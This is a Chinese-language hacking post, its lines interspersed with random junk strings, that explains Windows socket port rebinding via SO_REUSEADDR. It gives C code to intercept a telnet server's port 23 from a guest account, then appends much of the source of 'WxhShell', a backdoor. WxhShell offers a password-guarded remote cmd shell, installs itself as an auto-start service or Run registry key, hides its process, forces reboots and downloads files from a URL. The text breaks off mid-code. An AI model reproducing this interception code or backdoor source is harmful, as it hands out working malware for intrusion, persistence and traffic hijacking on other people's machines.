在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
y3C$%yv0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X*C4NF0 "Mmvf'N saddr.sin_family = AF_INET;
/!0{9F< jCbxI^3A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:j,e0#+sA t%<d}QuHW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zc-.W2"Hu <:BhV82l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z$5@r2d) 9Q%Fel. 这意味着什么?意味着可以进行如下的攻击:
^Q4m1?
40 v0} .!u>Ww 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
r@(hRl1k' 8>K2[cPD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O ijG@bI8 *tT}y(M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%.D@{O r0\cgCn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~3 z10IG v
~%6!Tr 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sL tsvH# SNd]c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
SuW_[6] vrIM!~*W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Hv1d4U"qM Mzx y'UV #include
X/nb7_M #include
m:~s6c6H #include
iwfv t^ #include
b-+iL DWORD WINAPI ClientThread(LPVOID lpParam);
`+QrgtcEy4 int main()
Ip4SdbU {
PF-
sb&q WORD wVersionRequested;
G}\E{VvWh DWORD ret;
l$Y7CIH WSADATA wsaData;
%-:6#bz BOOL val;
8P'>%G<m SOCKADDR_IN saddr;
Piz/vH6M} SOCKADDR_IN scaddr;
d+fig{<b int err;
2,<!l(X SOCKET s;
=GjxqIv SOCKET sc;
)vk$]<$ int caddsize;
t
<#Yr%a HANDLE mt;
8<uKzb(O: DWORD tid;
xFS`#1 wVersionRequested = MAKEWORD( 2, 2 );
dYJW`Q;j.| err = WSAStartup( wVersionRequested, &wsaData );
eW+z@\d9Gz if ( err != 0 ) {
ZuF-$]oL& printf("error!WSAStartup failed!\n");
YXa^jFp return -1;
F/}PN1#T }
jfHVXu^M saddr.sin_family = AF_INET;
hC8'6h =2{ ^qvP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D{/GjFO C(_xqn saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u*&wMR>Crf saddr.sin_port = htons(23);
7{XI^I:n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z@biX {
I"9S printf("error!socket failed!\n");
!UlG!820 return -1;
O- &>Dc }
pXCmyLQ
val = TRUE;
8fJ- XFK$: //SO_REUSEADDR选项就是可以实现端口重绑定的
0*8[m+j1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
y:Qo:Z~ {
(3"V5r`*; printf("error!setsockopt failed!\n");
Ut8yA"Y~ return -1;
?E2/
CM }
'8wA+N6Zr7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m^Btr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UMw1&"0: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?
S>"yAoe %Sfew/"R0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-mG3#88* {
<D
pi M` ret=GetLastError();
qV.*sdS> printf("error!bind failed!\n");
+X0?bVT return -1;
i}+K;,Da:8 }
h{kAsd8 G listen(s,2);
Je+z\eT!5< while(1)
!5Kv9P79 {
pl V]hu27K caddsize = sizeof(scaddr);
+dk}$w[g //接受连接请求
QVI4<Rxg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$GYcZN& if(sc!=INVALID_SOCKET)
W[:
n*h {
{KE858 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=ex71qj) if(mt==NULL)
NS;,(v{*N {
/e6\F7 printf("Thread Creat Failed!\n");
S=ebht= break;
.T/\5_Bx }
vVmoV0kGt }
=zt@*o{F CloseHandle(mt);
)avli@W-3j }
InMF$pw closesocket(s);
+hRAU@RA WSACleanup();
*obBo6!zM return 0;
TP[<u-@G }
!iA0u DWORD WINAPI ClientThread(LPVOID lpParam)
Q\Fgc ;.U {
\;}F6g SOCKET ss = (SOCKET)lpParam;
)&<BQIv9/ SOCKET sc;
me#VCkr# unsigned char buf[4096];
KZ
pqbI Z SOCKADDR_IN saddr;
Uoh!1_oV long num;
kb]PWOz DWORD val;
Y'`w.+9 DWORD ret;
CYmwT>P+*4 //如果是隐藏端口应用的话,可以在此处加一些判断
{xp/1?Mo* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vZmM=hW ~ saddr.sin_family = AF_INET;
U|={LU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#)2'I`_E saddr.sin_port = htons(23);
3VbMW, _&" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gN
Xg {
b'4{l[3~nl printf("error!socket failed!\n");
{Tl5,CAz return -1;
?k]^?7GN }
pM=@ val = 100;
<V#9a83JP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ds,NNN<HW {
9sifc<za ret = GetLastError();
"m.j cKt return -1;
iVLfAN @ }
r'#5ncB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r1yz ?Y_P {
M3c-/7 ret = GetLastError();
h.E8G^}@ return -1;
/\V-1 7- }
(PE x<r1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8hZ+[E} {
@-Tt<pl'L printf("error!socket connect failed!\n");
6Lr G+p` closesocket(sc);
1WRQjT=o closesocket(ss);
}eetx68\ return -1;
BMkN68q }
@r^a/]5D while(1)
9aFu51 {
+]
>o@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Tz[ck'k //如果是嗅探内容的话,可以再此处进行内容分析和记录
[QEV6S] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\wEHYz num = recv(ss,buf,4096,0);
c"Ddw'?e if(num>0)
$n\{6Rwb send(sc,buf,num,0);
1%68Pnqk else if(num==0)
ABw:SQ6=Q break;
eme7y num = recv(sc,buf,4096,0);
nj$TdwZbK if(num>0)
Kur3Gf X send(ss,buf,num,0);
]KdSwIbi else if(num==0)
iqm]sC` break;
VPoA,;Y"- }
mD<- <]SYp closesocket(ss);
T^> ST closesocket(sc);
>7i&(6L return 0 ;
$(/=Wn }
_GS_R%b +e}v)N 7yM=$"'d ==========================================================
~(OG3`W! CT,P Q 下边附上一个代码,,WXhSHELL
Yl4XgjG Is1P,`*! ==========================================================
^)oBa=jL4 viB'ul7o #include "stdafx.h"
A?i
~*#wE Wu3or"lcw* #include <stdio.h>
g<pr(7jO #include <string.h>
yNCd}
4Ym5 #include <windows.h>
vy&'A$ H #include <winsock2.h>
sG{f xha #include <winsvc.h>
'/8{Mx+ #include <urlmon.h>
C{(&Yy" pURtk-Fr2 #pragma comment (lib, "Ws2_32.lib")
5My4a9 #pragma comment (lib, "urlmon.lib")
Od_xH >-U'mkIH #define MAX_USER 100 // 最大客户端连接数
3L}eFg,d #define BUF_SOCK 200 // sock buffer
'.
5&Z #define KEY_BUFF 255 // 输入 buffer
+~xY} 'u@,,FFz[K #define REBOOT 0 // 重启
K#Ia19au5 #define SHUTDOWN 1 // 关机
yp}J+/PX} QS7<7+ #define DEF_PORT 5000 // 监听端口
wW &q)WOi hOFC8 g #define REG_LEN 16 // 注册表键长度
O0^m_ #define SVC_LEN 80 // NT服务名长度
)Y4;@pEU W]Bc7JM]T+ // 从dll定义API
#gW"k;7P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8/W(jVO(- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7PTw'+{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nv$>iJ^~H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
5j'7V1:2 WB)pE'5 // wxhshell配置信息
R!&9RvNw struct WSCFG {
8XfhXm>~ int ws_port; // 监听端口
3(&k4 char ws_passstr[REG_LEN]; // 口令
dfy]w4ETB int ws_autoins; // 安装标记, 1=yes 0=no
&/dYJv$[9 char ws_regname[REG_LEN]; // 注册表键名
mok94XuK) char ws_svcname[REG_LEN]; // 服务名
m\zCHX#n char ws_svcdisp[SVC_LEN]; // 服务显示名
X1 DE char ws_svcdesc[SVC_LEN]; // 服务描述信息
r2ZSkP. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
an q1zH int ws_downexe; // 下载执行标记, 1=yes 0=no
9w3KAca char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TAL,(&[s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;|qbz]t2( ~jz!jF~I };
gXJtk; 2i9FzpC3 // default Wxhshell configuration
V.w
L struct WSCFG wscfg={DEF_PORT,
jk(tw-B "xuhuanlingzhe",
U:r^4,Mz* 1,
r+TvC{ "Wxhshell",
aH/8&.JLi "Wxhshell",
;Mw<{X- "WxhShell Service",
Ms<v81z5T "Wrsky Windows CmdShell Service",
J:Mn5hdK= "Please Input Your Password: ",
>c`r&W.t 1,
h2jrO9 "
http://www.wrsky.com/wxhshell.exe",
M!i["($_ "Wxhshell.exe"
M r-l };
Vh ?5 SfSWjq // 消息定义模块
#,[z}fq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m@Hg:DY char *msg_ws_prompt="\n\r? for help\n\r#>";
+MR]h
[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8I8{xt4 char *msg_ws_ext="\n\rExit.";
953GmNZ7 char *msg_ws_end="\n\rQuit.";
HIGTo\]Z char *msg_ws_boot="\n\rReboot...";
8u%rh[g' char *msg_ws_poff="\n\rShutdown...";
QLxe1[qI char *msg_ws_down="\n\rSave to ";
D :)HKD. FPb4VJ|xm char *msg_ws_err="\n\rErr!";
lvOM1I char *msg_ws_ok="\n\rOK!";
,_K y'B -6W$@,K char ExeFile[MAX_PATH];
P(oGNKAS int nUser = 0;
4V<.:.k HANDLE handles[MAX_USER];
9y'To JZ6 int OsIsNt;
_|r/*(hh "]T1DG" SERVICE_STATUS serviceStatus;
%y)]Q| SERVICE_STATUS_HANDLE hServiceStatusHandle;
sWyx_ F4NMq&_ // 函数声明
'QSj- int Install(void);
=Q,D3F
-+f int Uninstall(void);
bV$g]->4e int DownloadFile(char *sURL, SOCKET wsh);
uK%0,!q int Boot(int flag);
?%cZO" void HideProc(void);
g& ou[_A int GetOsVer(void);
/Qu<>#[? int Wxhshell(SOCKET wsl);
L,yq'>*5s void TalkWithClient(void *cs);
(I/ZI'Ydy int CmdShell(SOCKET sock);
U(+%iD60i int StartFromService(void);
g'+2bQ int StartWxhshell(LPSTR lpCmdLine);
zYxA#TZL Ts\PZQ!q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vs^)= VOID WINAPI NTServiceHandler( DWORD fdwControl );
RD6>\9 /H?) qk // 数据结构和表定义
4`Cgz#v
{ SERVICE_TABLE_ENTRY DispatchTable[] =
zr ~4@JTS {
'/s/o]'sUd {wscfg.ws_svcname, NTServiceMain},
WN $KS"b6} {NULL, NULL}
e/uLBZ };
}#q0K DzbcLg%:W // 自我安装
`z^50Vh| int Install(void)
hwQrmVwvP {
1! j^ char svExeFile[MAX_PATH];
hzk4SOT( HKEY key;
xyP0haE strcpy(svExeFile,ExeFile);
},=ORIB B: N(e>]ui // 如果是win9x系统,修改注册表设为自启动
a51}~V1 if(!OsIsNt) {
DaBy<pGb? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ol1J1Zg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x*!*2{ RegCloseKey(key);
ai<K6) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e6>[Z C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QFB2,k6jN RegCloseKey(key);
_VB;fH$ return 0;
4j}.=u* X7 }
@X2 zIFm }
?AVnv(_ }
bN&DotG else {
:*vSC: q _}gfec4o // 如果是NT以上系统,安装为系统服务
e#vGrLs. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}Ui)xi:8 if (schSCManager!=0)
\maj5VlJ {
x6Tpt^N} SC_HANDLE schService = CreateService
2uT@jfj:r (
9e7):ZupO schSCManager,
8lyNg w1 wscfg.ws_svcname,
k$.l^H u wscfg.ws_svcdisp,
{z9,CwJan? SERVICE_ALL_ACCESS,
I* PxQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Uw?25+[b SERVICE_AUTO_START,
yO/'}FD SERVICE_ERROR_NORMAL,
g7w#;E svExeFile,
o4^#W;%w NULL,
BC85#sbl NULL,
I-Q(kWc NULL,
,g 1~4,hqQ NULL,
VVEJE$ NULL
\'X-><1 );
M<x><U#]A if (schService!=0)
t]{, 7.S {
y#P_ }Kfo CloseServiceHandle(schService);
a# Uk:O! CloseServiceHandle(schSCManager);
C,8@V` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g2vt(Gf ; strcat(svExeFile,wscfg.ws_svcname);
mC$ te if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?es9j] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/VFQbJ+` RegCloseKey(key);
|}: D_TX return 0;
[fJxbr" }
+jN)$Y3Ya }
Bnz}:te} CloseServiceHandle(schSCManager);
gF]IAZCi }
P@<K&S+f }
" ;o,D @7sHFwtar? return 1;
,D.@6bJW }
2h)* OTEx9 // 自我卸载
j'XND`3 int Uninstall(void)
w[uwhd {
1`1Jn*|TI HKEY key;
lrgvY>E0 /GA-1cS_(
if(!OsIsNt) {
5r0Sl89J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!MOcF5M RegDeleteValue(key,wscfg.ws_regname);
PkOtg[Z RegCloseKey(key);
ZC &~InN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9? |m ^ RegDeleteValue(key,wscfg.ws_regname);
.4!wp& RegCloseKey(key);
^fU,9 return 0;
}]pO R&o }
0Rn`63# }
"VeNc,-nfQ }
B~3qEdoK5` else {
r3YfY\ QaOFl`i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#b1/2=PA if (schSCManager!=0)
ai)?RF {
lC^?Jk[N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`J}FSUn\ if (schService!=0)
`
kZ"5}li {
gT|&tTS1@ if(DeleteService(schService)!=0) {
^izf&W.j! CloseServiceHandle(schService);
?`B6I!S0[ CloseServiceHandle(schSCManager);
I^QB`%v5 return 0;
'fIG$tr9X }
b~+\\,q} CloseServiceHandle(schService);
%%Wn: c> }
1k)`C<l CloseServiceHandle(schSCManager);
{z# W- }
PR>%@-Vgj }
mTa^At" V/8yW3]Xy return 1;
<h~_7Dn }
w'Jo).OW~ 6oGF6C // 从指定url下载文件
g1q%b%8T int DownloadFile(char *sURL, SOCKET wsh)
rgu7g {
M,eq-MEK HRESULT hr;
s`L>mRw` char seps[]= "/";
c`V~?]I> char *token;
(PnrY~9 char *file;
3
J\&t4q char myURL[MAX_PATH];
1c $iW>0K char myFILE[MAX_PATH];
-PHqD gjy:o5{vA* strcpy(myURL,sURL);
q%FXox~b token=strtok(myURL,seps);
-axmfE?g0 while(token!=NULL)
SA6.g2pFz {
j"<F?k@`Q file=token;
[u8JqX token=strtok(NULL,seps);
V[">SiOg }
1L.yh U\ +C(/.X
Kz% GetCurrentDirectory(MAX_PATH,myFILE);
E2|c;{c strcat(myFILE, "\\");
W.<I:q`eO strcat(myFILE, file);
?E7.x%n7X5 send(wsh,myFILE,strlen(myFILE),0);
av!~B, send(wsh,"...",3,0);
wEIAU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7A>glZ/x if(hr==S_OK)
_+nlm5 return 0;
o
n?8l?iQ else
JZ0u/x5 return 1;
9/50+2F
TGozoPV }
@RS|}M^4 CA ,0Fe3 // 系统电源模块
d#nKTqSg int Boot(int flag)
<k2]GI-}h {
nL*
SNQ_ HANDLE hToken;
,m.IhnCV\ TOKEN_PRIVILEGES tkp;
CFx$r_!~ 4K$d% if(OsIsNt) {
w24@KaKFo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xr4kBC
t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qXQ7Jg9 tkp.PrivilegeCount = 1;
2o-Ie/"d\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)V*V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
U*Pi%J if(flag==REBOOT) {
r1X\$& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<o\I C?A return 0;
=Qw`F0t }
sMAu* else {
=ZN~*HLl} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]+i~Cbj return 0;
i^DZK&B@u }
{KalVZX2R }
fwi(qx1=} else {
a(`@u&]WZ if(flag==REBOOT) {
i9k/X&V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.TetN}w return 0;
-AxO1
qO }
[O(8izv else {
].<B:]:, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@I|gA return 0;
m|+g_JZ }
Sj<WiQ%< }
gEU|Bx/!= sYb( g'W*' return 1;
;-X5# }
+ %07J6 ln6Hr^@5 // win9x进程隐藏模块
2Fsv_t&*> void HideProc(void)
4q\bnt {
l>O~^41[ r+%}XS%;h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X,8]g.< if ( hKernel != NULL )
:;]iUjiC8 {
cfd7)(6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
T#e ;$\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d%: FreeLibrary(hKernel);
/^<Uy3F[p }
[q{[Avqf S(
r Fa return;
u4a(AB>S }
B#K{Y$!v u:f.g?!`" // 获取操作系统版本
5L4{8X0X8 int GetOsVer(void)
3KW4 ]qo~ {
gK8{ =A0c OSVERSIONINFO winfo;
zn'F9rWx> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
F"<TV&xf GetVersionEx(&winfo);
&{c.JDO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G F-\WD return 1;
89[5a else
]e+88eQ return 0;
2=PX1kI }
:_FnQhzg %`[Oz[V // 客户端句柄模块
0qj:v"~Q int Wxhshell(SOCKET wsl)
IE|$mUabm {
plRBfw>]N SOCKET wsh;
zFqlTUD`t struct sockaddr_in client;
VNcxST15a DWORD myID;
BB694
:q0TS>l while(nUser<MAX_USER)
j r<`@ {
<!s+X_^ int nSize=sizeof(client);
u2G{I? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eI7FbOze if(wsh==INVALID_SOCKET) return 1;
i0y^b5@MOb V9 dRn2- [ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
M ;\iL?, if(handles[nUser]==0)
qQu}4Ye> closesocket(wsh);
W
h^9 Aq else
5QjM,"`mp nUser++;
ST#MCh-00 }
Az}.Z'LJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5mxYzu;#] u._B7R&> return 0;
`EUufTYi }
dp3>G2Yq ?W*{%my // 关闭 socket
Nj<}t/e void CloseIt(SOCKET wsh)
+M"Fv9 {
2+7rLf`l closesocket(wsh);
em+dQ15 nUser--;
:4f>S)m ExitThread(0);
GEdWpYKS-` }
\CP)$0j-&o ok"v`76~f5 // 客户端请求句柄
[zO:[i 7 void TalkWithClient(void *cs)
-.>b7ui {
Nm.H
K\7\ SOCKET wsh=(SOCKET)cs;
p=7{ char pwd[SVC_LEN];
QU]&q`GE char cmd[KEY_BUFF];
fZqqU|tq char chr[1];
!y&uK&1 int i,j;
,dTRM 3
?1qI'5 while (nUser < MAX_USER) {
(}W+W\. a5/6DK> if(wscfg.ws_passstr) {
b1(7<o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3 %ppvvQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F3XB}; //ZeroMemory(pwd,KEY_BUFF);
LyaFWx i=0;
1VlRdDg while(i<SVC_LEN) {
4$);x/
a 7hs1S| // 设置超时
J|9kWjOf+i fd_set FdRead;
X0\2q D struct timeval TimeOut;
-bN;nSgb FD_ZERO(&FdRead);
O T*C7= FD_SET(wsh,&FdRead);
q`HuVilNH TimeOut.tv_sec=8;
_(K )(& TimeOut.tv_usec=0;
Aj854 L(! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-VqZw&" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tai=2,' TN xl?5: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~6HpI0i pwd
=chr[0]; :2'y=t #
if(chr[0]==0xd || chr[0]==0xa) { 6zmt^U
pwd=0; WIe7>wkC
break; n9
LTrhLqp
} $>PXX32
i++; qqL :#]lV5
} 5s=ZA*(sY
CFm(
yFk
// 如果是非法用户,关闭 socket q&/<~RC*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >UUcKq1M:
} pO^PkX
Tz\ PQ)!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i`m&X6)\j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?ztI8I/
BB x359
while(1) { XX85]49`%
4pvT?s>68
ZeroMemory(cmd,KEY_BUFF); w\"~*(M
-C]k YQ
// 自动支持客户端 telnet标准 #41xzN
j=0; 9O8na
'w
while(j<KEY_BUFF) { @/MI
Oxg[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /6=IL
cmd[j]=chr[0]; UZ5O%SF
if(chr[0]==0xa || chr[0]==0xd) { skd3E4
cmd[j]=0; Q[j'FtP%
break; -B`Nkc
} scf.>K2
j++; (E{>L).~
} WH>= *\
<G};`}$a
// 下载文件 >@b]t,rrK
if(strstr(cmd,"http://")) { 9H~2
iW,Q;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jGg,)~)Y
if(DownloadFile(cmd,wsh)) wzXIEWJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QDHEC62
else y*F !k{P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wbIgZ]o!/;
} L}~"R/iWCT
else { $?_/`S13
s6q6)RD"
switch(cmd[0]) { I_1(jaY
I7@|{L1|FB
// 帮助 jR1o<]?
case '?': { J0ysZ]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lOp7rW]$
break; Oe)d|6=
} C+0MzfLgf
// 安装 8t1XZ
case 'i': { S55h}5Y
if(Install()) \;!}z3W w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?wCqA
else h23"<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TpAE 9S
break; -w dbH`2Z"
} e^LjB/<Th
// 卸载 WE{fu{x
case 'r': { XIGz_g;#'w
if(Uninstall()) H*m3i;"4p\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\73Vf
else kB)u@`</mV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h SeXxSb:
break; ?*zDsQ
} l&/V4V-
// 显示 wxhshell 所在路径 GM~Ek]9C%
case 'p': { xU1_L*tu '
char svExeFile[MAX_PATH]; |rgp(;iO
strcpy(svExeFile,"\n\r"); 3s]aXz:
strcat(svExeFile,ExeFile); <2n5|.:>
send(wsh,svExeFile,strlen(svExeFile),0); ?XlPKY
break; %.h&W;
} Dhe*)
// 重启 >1}@Q(n/}{
case 'b': { o2 ;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9-W3}4'e
if(Boot(REBOOT)) R_4eME2LB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O
.ESI
else { W? F Q
closesocket(wsh); [u $X.=(
ExitThread(0); dwpE(G y6c
} WYUel4Z
break; t] CA!i`
} [HEljEv
// 关机 /E39Z*
case 'd': { y}F;~H~P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? K ,d
if(Boot(SHUTDOWN)) ;!+-fn4C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %lnVzGP
else { lR>p
closesocket(wsh); 8.!+Hm4
ExitThread(0); /fSsh;F
} [;Y,nSw
break; M!/!*,~
} 2dyS_2u
// 获取shell mDXG~*1
case 's': { j S4\;
CmdShell(wsh); /V{1Zw=
closesocket(wsh); bess
b>=
ExitThread(0); -d. i4X3j
break; +8|9&v`
} Ox5Es
// 退出 *N|ak =
case 'x': { TE5J
@I
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tb^/jzC
CloseIt(wsh); 4J1_rMfh
break; S\SYFXUl
} lu?:1V-
// 离开 k%TBpG:T
case 'q': { bZ>dr{%%e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _P`
^B
closesocket(wsh); T)I\?hqTB
WSACleanup(); 2lCgUe)N
exit(1); WfXwI 'y
break; G=F _{z\}
} SajG67
} L)n_
Q
} TVM19)9
.0rTk$B
// 提示信息 0j!xv(1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A"O\u=!
} K))P
2ss
} [}=a6Q>)
DbSR(:
return; VRZqY7j}g
} 95E#
Ne)3@?
// shell模块句柄 2 :4o`o
int CmdShell(SOCKET sock) tVe =c
{ I.'/!11>
STARTUPINFO si; D<`M<:nq
ZeroMemory(&si,sizeof(si)); drxCjuz"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g%V#Z`*|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0R,.
PROCESS_INFORMATION ProcessInfo; ["#H/L]3
char cmdline[]="cmd"; *10qP?0H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Om*(dK]zHQ
return 0; c*y*UG
} O#k eoC4
x_x_TEyy h
// 自身启动模式 .EReYZO
int StartFromService(void) GkIhPn(d
{ cMrO@=b;
typedef struct )}7X4g6X
{ Dkx}}E:<
DWORD ExitStatus; BCuoFw)
DWORD PebBaseAddress; "L;@qCfhO
DWORD AffinityMask; po(pi|
DWORD BasePriority; $NCR
V:J
ULONG UniqueProcessId; MGf *+!y,
